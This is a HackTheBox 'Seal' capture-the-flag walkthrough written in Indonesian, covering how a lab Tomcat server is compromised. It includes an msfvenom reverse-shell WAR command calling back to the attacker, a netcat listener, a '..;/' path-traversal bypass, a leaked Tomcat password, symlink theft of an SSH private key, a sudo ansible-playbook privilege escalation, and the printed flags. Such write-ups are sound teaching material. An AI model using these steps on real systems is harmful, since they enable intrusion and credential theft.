[HackTheBox] – Seal

Seal
Medium – Box
By SlothSpider

Initial

Kita mendapatkan alamat IP Seal adalah 10.10.10.250. Pertama-tama, saya menggunakan Nmap untuk melakukan enumeration.

nmap -sC 10.10.10.250

gambar 1

Dari hasil scan (gambar 1), kita dapatkan info bahwa terdapat tiga buah port yang terbuka, yaitu port 22 (SSH), 443 (HTTPS), dan 8080 (HTTP). Mari kita coba mengunjungi halaman HTTPS pada port 443.

gambar 2

Ketika kita mengunjungi https://10.10.10.250, kita dihadapi dengan sebuah peringatan mengenai sertifikat HTTPS yang dikeluarkan oleh Lembaga yang tidak valid. Di sini, saya tetap mengunjungi halaman web tersebut untuk mendapatkan informasi yang terdapat di dalamnya dengan cara menekan tombol “Advanced…” dan dilanjutkan dengan menekan tombol “Accept the Risk and Continue” (gambar 2).

Sekarang, kita dapat mengunjungi halaman web tersebut (gambar 3).

gambar 3


Pada halaman web yang ada, saya tidak menemukan sesuatu yang bisa digunakan sebagai celah. Oleh sebab itu, saya beralih menuju http://10.10.10.250:8080.

gambar 4


Dari halaman http://10.10.10.250:8080 (gambar 4), kita di alihkan secara langsung menuju http://10.10.10.250/signin. Di sini, saya tidak bisa melakukan login. Oleh sebab itu, saya memutuskan untuk membuat sebuah akun di http://10.10.10.250:8080/register. Setelah membuat sebuah akun, kita bisa login ke halaman web tersebut.

gambar 5

Di sini, kita dapat melihat bahwa web ini merupakan sebuah web git (lihat ini). Terdapat dua buah repository yang dapat kita akses (gambar 5). Saya tertarik dengan repository seal_market. Saya mengunjungi halaman web ini dan menelusuri file-file yang terdapat di dalamnya.

gambar 6

Pada halaman utama repository seal_market, kita dapat menemukan sebuah ToDo. Dapat kita asumsikan halaman web pada port 443 tadi memiliki mutual authentication, outdated tomcat configuration, dan terdapat manager dan host-manager yang masih enable.

Foothold

Pertama-tama, saatnya kita mencoba mencari file konfigurasi tomcat yang pernah mengalami perubahan.

gambar 7

Pada folder tomcat, saya menemukan beberapa file dan hanya terdapat satu file yang memiliki updated tomcat configuration (kotak merah gambar 7). Saya mencoba melihat history commit file (kotak hijau gambar 7) dan menemukan sebuah kredensial (gambar 8).

gambar 8

Dari isi file tersebut juga, dapat kita ketahui bahwa kredensial tersebut digunakan untuk mengakses halaman “/manager/html” (gambar 9 kotak merah).

gambar 9

Sekarang, saatnya kita mengakses https://10.10.10.250/manager/html.

gambar 10

Dan ternyata, kita tidak bisa mengakses halaman tersebut karena terdapat respond 403 Forbidden (gambar 10). Namun, ketika saya mencoba-coba mengakses halaman selain html dan menemukan sebuah error 404 yang cukup membantu (gambar 11).

gambar 11

Di sini, saya mencoba mengunjungi halaman “/manager/text” dan mengisi kredensial dengan kredensial yang telah didapat (username: tomcat dan password: 42MrHBf*z8{Z%) (gambar 12).

gambar 12

Namun, kita masih tidak bisa mengakses halaman “/manager/text”. Namun, ketika saya mencoba menuju halaman “/manager/status”, kita bisa mengaksesnya (gambar 13).

Note: apabila sudah melakukan step-step di atas dan tetap tidak bisa diakses, kita bisa mencoba menghapus cookie, membuka di browser baru, atau bahkan restart mesin.

gambar 13

Namun, saya tidak menemukan sebuah celah untuk melakukan sebuah reverse shell. Oleh sebab itu, saya mencoba untuk menuju html directory dan dari halaman status dengan menggunakan “/..;/” (1, 2, 3).

Saya mencoba mengunjungi halaman “/manager/html” melalui “/manager/status/..;/html” dan berhasil (gambar 14).

gambar 14

Dari halaman web ini, dapat kita lihat bahwa terdapat tiga buah applications yang aktif, yaitu pada path “/”, “host-manager”, dan “/manager” (gambar 15).

gambar 15

Kita juga bisa memasukkan sebuah WAR file (gambar 16).

gambar 16

Di sini, kita bisa membuat sebuah reverse shell dengan memanfaatkan vulnerability dari file war (lihat ini). Saya menemukan sebuah website untuk membuat sebuah war file dengan bantuan msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

  • LHOST = IP penyerang (IP HTB kita)
  • LPORT = Port untuk mengkoneksikan reverse shell.

Setelah menjalankan command di atas, pada direktori yang sedang aktif akan terlihat file bernama shell.war. File tersebut yang akan kita upload untuk mendapatkan reverse shell (gambar 17).

gambar 17

Setelah menekan tombol “Deploy” ternyata kita di arahkan kepada halaman 403 Forbidden. Rupanya hal tersebut disebabkan oleh URL yang langsung mengarah ke “/manager/html” (gambar 18).

gambar 18

Untuk mengatasinya, saya akan menangkap packet yang di kirim menggunakan burpsuite dan mengganti URL dari “/html/upload” (gambar 19) menjadi “status/..;/html/upload” (gambar 20).

gambar 19
gambar 20
gambar 21

Pada gambar 21, kita dapat lihat bahwa file shell telah terupload. Untuk mendapatkan reverse shell, kita bisa membuat sebuah listener terlebih dahulu menggunakan netcat dan membuka halaman shell.

nc -nvlp <Your Port to Connect On>

Kita ganti <Your Port to Connect On> dengan port yang kalian gunakan ketika membuat file war.

gambar 22

Sekarang, kita bisa membuka halaman https://10.10.10.250/shell. Ketika server membuka halaman web tersebut, server akan mengeksekusi RCE kita dan kita mendapatkan revere shell sebagai tomcat (gambar 23).

gambar 23

Untuk mendapatkan shell yang lebih baik, saya mencoba menggunakan interactive shell dengan bantuan python.

python3 -c ‘import pty;pty.spawn(“/bin/bash”);’

gambar 24

User

Saatnya kita mencari cara untuk menjadi user. Ketika mengunjungi home directory, saya menemukan sebuah user Bernama luis.

gambar 25

Ketika mengunjungi folder luis, saya menemukan user.txt dan folder .ssh yang tidak bisa kita akses (gambar 26).

gambar 26

Oleh sebab itu, saya mencari cara lain dan mencari aplikasi yang sedang aktif yang memiliki hubungan dengan user luis dengan menggunakan command.

ps -aux > /tmp/log ; cat /tmp/log | grep luis

gambar 27

Terdapat dua buah aplikasi yang berjalan dengan user luis. Namun terdapat satu yang menarik, yaitu sebuah aplikasi yang dijalankan oleh user root. User root mengeksekusi “sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml”.

Saya menuju directory “/opt/backups/playbook” dan membuka file run.yml.

Dari file YAML tersebut, terdapat hal yang menarik, yaitu “copy_links=yes”. Apabila kita menyalin folder “.ssh” sebagai symbolic link, run.yml akan menyalin file “.ssh” (bukan link) dan melakukan compress terhadap file tersebut menjadi file “.gz”, kita bisa mengekstrak file “.gz” tersebut dan mendapatkan folder “.ssh”.

Ketika Run.yml berjalan, progam akan menyalin data yang terdapat pada “/var/lib/tomcat9/webapps/ROOT/admin/dashboard” dan menyalinnya ke “/opt/backups/files”. Kemudian progam akan mengkompres file-file tersebut dan menaruhnya di folder “/opt/backups/archives”. Oleh sebab itu, saatnya kita melihat folder “/var/lib/tomcat9/webapps/ROOT/admin/dashboard”.

gambar 28

Pada folder dashboard tersebut, kita hanya bisa melakukan write pada folder uploads, oleh sebab itu, saya menyalin folder .ssh sebagai symbolic link di folder uploads.

gambar 29

Setelah melakukan copy symbolic link folder .ssh, saya menuju folder “/opt/backups/archives” dan tidak ada file .gz (gambar 30).

gambar 30

Namun, setelah menunggu beberapa detik, muncul sebuah file .gz dan saya menyalin folder tersebut menuju folder /tmp karena file .gz tersebut akan dihapus setelah beberapa saat.

gambar 31

Setelah itu, saya mencoba mengekstrak file tar.gz tersebut menggunakan command

tar -xf backup-2021-07-30-02:38:32.gz –force-local

gambar 32

Setelah mengekstrak file tar.gz tersebut, kita jumpai sebuah folder dashboard. Kita bisa menuju folder dashboard/uploads/.ssh. Pada folder tersebut terdapat tiga buah file.

gambar 33

Kita dapat menuju id_rsa dan mendapatkan file Private key untuk melakukan SSH. Kita bisa membuka file id_rsa tersebut dan menyalin isi nya ke computer local kita. Setelah menyalin file tersebut dengan benar, saya mencoba melakukan SSH dan berhasil (gambar 34).

gambar 34

Kita dapatkan user.txt yaitu cb8f1a8eb316f1590137dee85a2cee9a.

Privilege Escalation – Root

Ketika melihat privilege yang dimiliki oleh user luis menggunakan command

sudo -l

gambar 35

Dapat kita lihat bahwa user luis dapat menjalankan “sudo /usr/bin/ansible-playbook” terhadap semua file. Dengan begitu, saatnya kita membuat sebuah file yang berguna untuk menyalin file root.txt ke /home/luis dan mengubah owner menjadi milik luis.

Di sini, saya membuat sebuah file bernama “x” dan mengisinya dengan command di bawah ini dengan menggunakan nano. Setelah itu, kita jalankan file “x” tersebut dengan command

sudo /usr/bin/ansible-playbook ./x

gambar 36

Kita dapatkan flag root, yaitu f11b49966463279115aa83b95d7c289c.

Leave a Reply

Your email address will not be published. Required fields are marked *